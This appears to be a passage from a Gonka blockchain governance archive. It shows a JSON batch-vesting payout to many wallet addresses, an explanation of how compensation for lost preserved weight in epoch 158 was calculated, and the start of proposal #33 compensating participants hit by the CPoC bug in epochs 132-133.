]\n },\n {\n \"recipient\": \"gonka10etnufq85u67k075yuxq6h3rzwlcln5rffhlyx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10fvaz7sgva6563fkcp9wxlk5hz7gj8fmu0w699\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"178165861284\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10mmdjau4dnj8krs7sh7t7635ttnmq9u3vqgz09\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"131775887169\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10p49jx70haq9uhjy94y80zkfv3xk5pafk5wc5q\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"291760524973\"\n }\n ]\n },\n {\n \"recipient\": \"gonka10vljxvwy6n9hh263chkt0hj0kg7t0qmdwfrurs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"298800051613\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1270mrwh27pgnrtmmsmyy5rsq2h8ug6l4zvg4cu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"179229386891\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12gwxa8vcvahyd4ygcxp4624ywaw98wp953wuva\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"310802697754\"\n }\n ]\n },\n {\n \"recipient\": \"gonka12hzd9zlz3tgslky477d4wa0jlwacv4nj9vxlmj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"302091916588\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1450wvd5uugfj7gru4heut5ulnneunplvxs995e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"359269079007\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14cu38xpsd8pz5zdkkzwf0jwtpc0vv309ake364\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"166619011832\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14dkhe6rhy2nq6snmkp2ssnaesumsuwctlmrzcn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"33323802366\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14jxtac6gra9cc97q7gw6el2l7f2v2d32f8973x\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"157148569518\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14pdvgt025fwkf38cr74hhcj2nfl98c044tswya\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"93185100842\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14qwpw2l0qmevxy9snllfaw0r9svnh4vdyl3897\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"86449438662\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14s76f83l8m3guvr8vu54dmla798jzy3u09vxzx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"85993641973\"\n }\n ]\n },\n {\n \"recipient\": \"gonka14tqh62mangwzrma2lgg2dm375rcjzn2ydy8ttm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"621200242896\"\n }\n ]\n },\n {\n \"recipient\": \"gonka155cnj622zfdl64f23ljmk2tzv7tewl6fp4m2hl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"248814348064\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15kf06ehfplnqtvgnndyfym9w9f63686cvw3nqj\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"157047281365\"\n }\n ]\n },\n {\n \"recipient\": \"gonka15mh2v944wxk3phxfkegglpgfpq9mjcm6vmpyng\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"179533251351\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16324l7r5jllqjm7e5wlf2h44cr3dsmjj8a6py7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"170012164960\"\n }\n ]\n },\n {\n \"recipient\": \"gonka168yvlgt9jg86frg2z90cc8w4pz9hnd7f8lshux\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"103769712840\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16lksjaqq2gqpeexvqg4xgux6hdtms3wnk4jjle\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka16sfwtnse80aleg7sgmumnu3qxhtf93mf86479a\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"147323618668\"\n }\n ]\n },\n {\n \"recipient\": \"gonka174srhxhfktxx4hv94zcdz4jqfw9kvc4ge2p0pu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"165656774377\"\n }\n ]\n },\n {\n \"recipient\": \"gonka178p3vw9zxs885l4a29g3sep0v9uplfq4pzvmrq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"791212407856\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17amsnz2csvjwt3rdezys6gj7wggexxwtwt03a9\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"105643543672\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17nhy0gakmp3yhlrm5h9xghj5mgwgyxagr8zmm0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"22891122598\"\n }\n ]\n },\n {\n \"recipient\": \"gonka17w5kpa57jtqnqy7wdp5d03jkjmk0vjwdpp5xmg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"171683419486\"\n }\n ]\n },\n {\n \"recipient\": \"gonka184jz8ja5gqkr3kt98a3a4syyypwj07j0qngukg\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29525496625\"\n }\n ]\n },\n {\n \"recipient\": \"gonka185kgdje9wjucxtkdu0nqhpqlwxutc5kc7nss8u\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"290190558600\"\n }\n ]\n },\n {\n \"recipient\": \"gonka18xpmr5v362gwvxlq78twhg7ht07wu4kzdqu4y2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"386819456648\"\n }\n ]\n },\n {\n \"recipient\": \"gonka192gv4k5kh88g5s9xll8k7w065lz0rjwh7zj55v\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"167479961133\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1948n747ayualpznexxchnx95pdnpu25mph804e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka199lgrq8l9xcqqnr0agajzl78c4dpfvwnsc4elm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"327312666708\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19g7jp7tcpnh9ul6gkr3kdc3lmcy55w6swvql0f\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19mh7jn9xmzz9m0nrczgd32usqrcqm7mpsrh77j\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"178469725743\"\n }\n ]\n },\n {\n \"recipient\": \"gonka19nsaq8gdavl04mx0v6lhvzzdkqhu6uf56l38w0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"156236976140\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a32tfg0a3xe7zer9m3ttuxr57wdffpc82qnacq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"16256748571\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a3f2cpds29pq0x7yvuh5we233l6aytcgl8gtlx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"383375659443\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1a9yz979xxryjh9hdzuyxddscwtg9g92079hjra\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"306751171631\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1aev99sylsnfzyu2dwlnw6f9lugjkvav7kxqp0k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"49023466095\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ajvs7j8wlgjy8d3kjad520am6jm3a4alj7k4jq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"167631893363\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1au034ld8fsrvtyxpzxx8nnnqe5kmhe20lmhuwm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"17269630102\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1c8pemd8czpgeg69cu95y58fstuquw93uwqml7f\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"385907863270\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1cjvdez8e6mwjxg0e3g7rrds9ezm9c7kemlu3g7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"175076572615\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1dkl4mah5erqggvhqkpc8j3qs5tyuetgdy552cp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"21371800302\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1erjgpt52lp7atyq5c5u5tpprtqjr4pt6zd2pny\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"157604366207\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ewlwawmd4z42daay08hspv45nmzlvffw0ums94\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"180140980269\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f0u3y2wneer8zhz3ypw4x54h38cpa0qsy8ts3e\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"49327330554\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f5fhrywmd5p0jcd5atk4rm2tjxpdn772lw833k\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"277326963158\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1f7d43z2qpcv07huwf3qjj4zpssvx6080a357wh\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"297280729317\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1frfr2z4lclq0wjqsrstnhm48rmvkmd0tfsssvk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"178520369820\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fryp5vn5xppkwykzjul6e2crkgxgwhl2cunrmx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"186724710220\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fs4fapsf05qf3992m92ac3cl38uzh56vev4806\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"29474852549\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1fvyenm5ms57hmyze8yl659c8ljg4r89nlwap9u\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"27601021717\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1g884r7q58wptvlcpuk09gvw9j5uhwadr4qjexs\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"269173266834\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gsarmv9gsc7g9fv9nsqtk6t0d7erxpurf5mvvl\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"313334901581\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1gz6d9j834xvhvyt7c67ux6egugns7dlc5dzqds\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"315715173179\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1h3s37p0l23mg6ak9h9nmayh6r9f2vm6umj3qet\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"314246494959\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1j3m7rwdjrf44xy8p7ff4w3srqxaml0f73x09ud\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"98300152573\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1jrkf560tvgqw3f9z4axs9da34lgnrd396e3rs0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"56366857194\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ju7jfznld7vg0f35wgz507m6c0lzgugpmajnvn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"188446608822\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1juwk05glldgn7850a3547jsl7l4vrhx9k5g3cr\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"195891288074\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1k3lva2jsxu5qx30f65yxdlcey8d6f3unmy2gks\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"101541373472\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1k3xh9h66ye5pdgv2v94xhf7paz445e7qwraz7h\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"129344971495\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kjrvy4xme4ctepdjspjdw677nmvdwlps4hl5h8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ks3t0r8g5glvv4um6ml2gy5dzg7l3t2xmp3fg2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"94197982373\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ktl3kkn9l68c9amanu8u4868mcjmtsr5tgzmjk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"169505724195\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1kx9mca3xm8u8ypzfuhmxey66u0ufxhs7nm6wc5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"23549495593\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ky9mpdps70l9fe59dg7a7ctnaunkuuc8uet8q2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"176140098222\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l44nacmpmt83kavvevmhlh8elspjtjn6wvwzm0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"667438284781\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1l4vfzkwd555pvxqzr3ksphgwgv8xsh89ytmjp0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1252276080718\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lh0danzlvxm5qtaly7myqd3n5sus0fq92n8shx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"116633308282\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1llxvtg0657ldmqn4l3t0ag496ff355j5kawagy\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"287557066620\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lqv96tny8a0344e6jfgxk500q5ct7zy9ekz49m\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"329996802765\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lrls7q8nu8rhjgchctswfsjlnjh84vwycw3jgt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"318146088853\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1lzxwqhc5fqwltg57emk2lprd7qzmapp22mv0h7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"183078336709\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1mecj5za64q5cnuu3vaey88g7kn996h2lv8aylu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"316829342863\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1myu058axjs62mc3e7na9krwvqpfl9z3gtcw9es\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"160744298953\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1n5r055hu5tr63rgqs7xg4d45ar8q6yy3qdhn04\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10483323845\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1nccp3l8d8n36akvaper2ngzpe8a843key0n985\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"36261158806\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p2959dx973hd57qsalxvesrcv649296x90ry76\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"418573292641\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p2lhgng7tcqju7emk989s5fpdr7k2c3ek6h26m\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31449971534\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1p57jas3hm3gmdvh64z92ycr28z968j0fn6n6jd\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"147880703510\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pf4z32nqz5ax7zsxsmf4tan8wsnp957y9t4qtt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"126002462443\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pnfyj6kw3h3v2qu60j42j8h3cuf3jpqqgnaet7\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"867026590443\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pvkv59e72vju2h7s9j3ex62c5xneqey350vpwn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"137751888201\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1pzdzdgd3auppy7x8a73suxaucgjcutfevrwzjp\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"862417979478\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1q6v5taltnxxzjrgpheu5t7pfjwmsu6x8gs24sw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"161352027871\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1q96dv6st48490vtzx2pwuwkjg439dr4hg6dzjn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"1274458186245\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qjdt3qykdrka2am7s5rtrze44f7y8vccegjc70\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"158414671431\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qmlkwzrpv5zkzzpgkthftd29uqg0ka8dddc290\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"179533251351\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qre9aepalndahwj37xrcepndmut2vu9dr3kh4t\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1qvpct2fqwpfqhznwjqs498ggp7wyxjkd4mvxhz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"176190742299\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1r34p353cxrvxf3x29raz0x8axflen82a04env4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"304117679650\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1r4qetzmw4g3aenwtcxpdm6l42aeq5gzwqltn39\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"99211745951\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rcpc45n6zch9qlkn4m3cwngekad89xu8mcr09v\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"253119094570\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rk43zfsxe7tefa88qh3t7wl3dvjwn3hq22njc4\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"176950403447\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rpedugp4rhy989wfg8tr5ux7k6d4fhkjlqk234\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"187737591751\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1rt963v04mgt43ju2smuakde99pv7wscy5yxnte\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"172595012864\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1shc0ywxd993zz3w3h5xdp5uhgu9rv27ws7mmqx\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"251042687432\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1slnscxc26qm7vvpn5qs9yzq9n0l82r4ywkl054\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"17117697872\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1tvjdvlf3jmc48ckycguvdvlepgj7jgx9q5m2aw\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"86854591274\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1u60q4n3ymcglvhglylchpyvc04kvvurl967mgk\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"16712545260\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uk73fw4tnfv9rfdeekxycvt0v8cncr64syejra\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"153704772313\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1un2c9f66mg2g6xcpmulq9tqfs3vjd7nn0ftjs5\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1uv8lw89ththtj05c54wehfnqls9u2pza53q33z\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"173101453629\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1v425qs8gxupjcw3lqx5fsldtve88vd9gaa7r60\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"345240669804\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1v5ggga7lslfg2e57m9anxud40v2s4t9dw8yj68\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"913213988252\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vkafyzr5yz5aht6gzapw6lc52h5wwmnrjwvqlz\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"345645822417\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vkh8e2uqk9mdw0ql83g0p4ge0wmqstcasulngn\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10000000000\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vn6hk34wme5xvqzjmm26u9snkxg7nqd490gmwq\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"347013212484\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vwsp87trl60t4g67fa677k7d7jztuc3g4qjc3w\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"383578235749\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1vxs4azxcym36wts0t7z5nj65ma8pnkvpmywxa0\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"82701776997\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1w2pxkv4v6r5h6sdvges287l2g5rsd3r4x77080\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"17320274178\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1w3ewq7swwdxx8fsht8tl250f7qv44edhlltrh8\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"210020985430\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1w6cjf08fgm3yalqf7ytt0hz6thlhs53d2fn7j2\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"10331391615\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1xteg3zgysvkvfl4lzs5gwxpkgtx0qra6m90jv3\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"75712894434\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y29s2ckdl0csktxhpx77a7dvwyhj9u4xyrcynm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"183483489321\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1y95qr73kms3zv5ju0kxtu58ksxdyrkyz8m0430\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"186522133914\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yk34z38t92jzjgq2ga7tkfpj07sf4ss3tj6n2m\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"157705654360\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1ypy2ygsa7se9lrcwxlstgwsy0lfged0kg8ft95\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"197056101835\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yq4vwn7fc9x7lykjhc0x3e7r2atee32czy34mt\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"31956412300\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1yquunstmnn35tuc6wsrlv020ul2rnuyldqkt37\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"991104577978\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1z3kelh3gx3t6kz303f8trdll3j5ap3zz8csyfm\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"52416619224\"\n }\n ]\n },\n {\n \"recipient\": \"gonka1z4ldfav9tl7x3w9aqfry89zd0kt7sa2lhff6te\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"512771275014\"\n }\n ]\n }\n ],\n \"vesting_epochs\": \"180\"\n },\n {\n \"@type\": \"/cosmos.distribution.v1beta1.MsgCommunityPoolSpend\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"recipient\": \"gonka1t7mcnc8zjkkvhwmfmst54sasulj68e5zsv4yzu\",\n \"amount\": [\n {\n \"denom\": \"ngonka\",\n \"amount\": \"500000000000\"\n }\n ]\n }\n]\nFor epoch 158, we first take the total amount distributed by the reward simulation for that epoch: 252,286,759,171,835 ngonka. Then we divide it by the total non-preserved (confirmation) weight used for epoch 158: 4,981,565. This gives a single conversion rate: 50,644,076.544586889446 ngonka per 1 weight unit. In simple terms, this is the average value of one weight unit in epoch 158.
After that, we calculate lost preserved weight for each participant. We restore historical preserved weight from the chain snapshot at block 2,443,438 (the effective block of epoch 158), and compare it to the preserved weight of epoch 158 in current-state epoch data (after reset). If historical value is higher, the difference is the lost preserved weight; otherwise loss is zero. Compensation is computed as this lost preserved weight multiplied by the single per-weight rate, then rounded to whole ngonka.
Example: if lost preserved weight is 4,663, then 4,663 × 50,644,076.544586889446 = 236,153,328,927.39..., so final compensation is 236,153,328,927 ngonka (236.153328927 GNK). If lost preserved weight is zero, compensation is zero.
Finally, after all participant compensations are calculated, an additional fixed payment of 500 GNK is added to the proposal author.
Also, MsgBatchTransferWithVesting has a minimum payout of 10 GNK. Because of that, all payouts below this threshold in epoch_158_compensation_proposal_batch_vesting.json were raised to 10,000,000,000 ngonka after the chain rejected smaller amounts.
Generated governance proposal JSON: https://github.com/huxuxuya/epoch158/blob/main/artifacts/epoch_158/epoch_158_compensation_proposal.json
"}, {"location": "proposals/proposals/2026-q1/33/", "title": "#33 – Epochs 132-133 compensation payout from gov module", "text": "Passed
Proposal ID: 33
Type: Batch Transfer With Vesting, Community Pool Spend
Submit: 2026-03-26 15:10 UTC
Voting: 2026-03-26 15:10 UTC → 2026-03-27 15:10 UTC
Proposer: gonka197hqnwcl30x4js3egvaujjmfknlxy7rmfw3y6k
Metadata: https://github.com/votkon/epoch-132-analysis
3,100 GNK · Community Pool · 24,806 GNK · Gov ModuleView on gonka.gg
Distribute compensation for CPoC bug affected participants in epochs 132-133.
"}, {"location": "proposals/proposals/2026-q1/33/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →Gonka Epochs 132-133 CPoC Compensation Analysis
Complete analysis and compensation calculations for participants affected by the Confirmation Proof of Compute (CPoC) bug in Gonka blockchain epochs 132-133.
Overview
This repository contains the complete statistical analysis proving that epochs 132-133 were abnormal, identification of affected participants, and fair compensation calculations based on median reward coefficients from successful participants.
Key Findings:
Epochs 132-133 were statistically abnormal: Confirmation ratios dropped 14-22% below baseline
45 affected participants: 13 in epoch 132, 32 in epoch 133
Total compensation: 24,799.48 GONKA
Selection criteria: CR 25-50%, miss rate Quick Start - Verify the Findings
Option 1: Review Final Results (Recommended)
Read the Summary:
cat COMPENSATION_SUMMARY.md
This provides the complete overview, methodology, and final compensation amounts.
Review Compensation Details:
JSON format: compensation_epoch_132.json and compensation_epoch_133.json
CSV format (Excel-friendly): compensation_epoch_132.csv and compensation_epoch_133.csv
Check Affected Participants Lists:
Epoch 132: affected_participants_epoch_132.json (13 participants)
Epoch 133: affected_participants_epoch_133.json (32 participants)
Option 2: Re-run the Entire Analysis
